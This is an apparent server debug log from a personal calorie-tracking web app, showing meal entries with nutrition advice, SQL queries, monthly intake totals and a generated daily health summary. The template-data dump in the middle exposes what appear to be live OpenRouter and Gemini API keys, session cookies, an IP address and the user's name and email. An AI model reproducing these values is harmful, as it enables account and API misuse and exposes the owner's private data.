    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  }
]
2025-12-17T09:30:13.801Z server-connect:app Executing action step setvalue
2025-12-17T09:30:13.801Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-17T09:30:13.801Z server-connect:output var_total: 1036
2025-12-17T09:30:13.801Z server-connect:app Executing action step setvalue
2025-12-17T09:30:13.801Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-17T09:30:13.801Z server-connect:output var_consumed: 43
2025-12-17T09:30:13.802Z server-connect:app Executing action step setvalue
2025-12-17T09:30:13.802Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-17T09:30:13.802Z server-connect:output var_deficit: 1364
2025-12-17T09:30:13.802Z server-connect:app Executing action step custom
2025-12-17T09:30:13.802Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-17T09:30:13.803Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '1036',
    surplus_or_deficit: '1364',
    status_flag: 2
  }
]
2025-12-17T09:30:14.771Z server-connect:app Executing action step identify
2025-12-17T09:30:14.771Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:14.771Z server-connect:output identity: 1
2025-12-17T09:30:16.834Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T09:30:16.834Z server-connect:app Executing action step identify
2025-12-17T09:30:16.834Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:16.835Z server-connect:output identity: 1
2025-12-17T09:30:16.835Z server-connect:app Executing action step restrict
2025-12-17T09:30:16.835Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T09:30:16.835Z server-connect:output restrict: undefined
2025-12-17T09:30:16.835Z server-connect:router Render template layouts/main
2025-12-17T09:30:16.836Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T09:30:17.152Z server-connect:app Executing action step identify
2025-12-17T09:30:17.152Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.152Z server-connect:output identity: 1
2025-12-17T09:30:17.560Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T09:30:17.562Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T09:30:17.562Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T09:30:17.563Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T09:30:17.563Z server-connect:app Executing action step identify
2025-12-17T09:30:17.563Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.563Z server-connect:output identity: 1
2025-12-17T09:30:17.563Z server-connect:app Executing action step restrict
2025-12-17T09:30:17.563Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:17.564Z server-connect:app Executing action step identify
2025-12-17T09:30:17.564Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.564Z server-connect:output identity: 1
2025-12-17T09:30:17.564Z server-connect:app Executing action step restrict
2025-12-17T09:30:17.564Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:17.565Z server-connect:output restrict: undefined
2025-12-17T09:30:17.565Z server-connect:app Executing action step select
2025-12-17T09:30:17.565Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T09:30:17.565Z server-connect:app Executing action step identify
2025-12-17T09:30:17.565Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.565Z server-connect:output identity: 1
2025-12-17T09:30:17.565Z server-connect:app Executing action step restrict
2025-12-17T09:30:17.565Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T09:30:17.567Z server-connect:output restrict: undefined
2025-12-17T09:30:17.567Z server-connect:app Executing action step single
2025-12-17T09:30:17.567Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T09:30:17.567Z server-connect:app Executing action step identify
2025-12-17T09:30:17.567Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.568Z server-connect:output identity: 1
2025-12-17T09:30:17.568Z server-connect:app Executing action step restrict
2025-12-17T09:30:17.568Z server-connect:app options: { provider: 'security' }
2025-12-17T09:30:17.568Z server-connect:output restrict: undefined
2025-12-17T09:30:17.568Z server-connect:app Executing action step single
2025-12-17T09:30:17.568Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T09:30:17.570Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T09:30:17.572Z server-connect:output restrict: undefined
2025-12-17T09:30:17.572Z server-connect:app Executing action step single
2025-12-17T09:30:17.572Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T09:30:17.572Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T09:30:17.573Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day shows a decent effort towards fueling your workouts and recovery, with consistent hydration. However, the meal composition could be more balanced to better support muscle development and fat loss goals. Focusing on nutrient-dense foods and ensuring adequate protein intake throughout the day will be key for continued progress.',
    bad_points: [
      'The main meal appears to be heavily reliant on carbohydrates from roti.',
      'Protein intake might be suboptimal for muscle development goals.',
      'Limited variety in vegetables and protein sources.'
    ],
    good_points: [
      'Consistent hydration throughout the day.',
      'Inclusion of whey protein post-workout.',
      'Incorporation of nuts for healthy fats.'
    ],
    suggestions: [
      'Increase the portion of protein sources in your main meals.',
      'Incorporate more non-starchy vegetables to enhance fiber and nutrient intake.',
      'Consider adding a protein source to your evening meal.',
      'Ensure consistent spacing of meals to support energy levels and nutrient absorption.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T09:30:17.575Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T09:30:17.575Z server-connect:app Executing action step select
2025-12-17T09:30:17.575Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
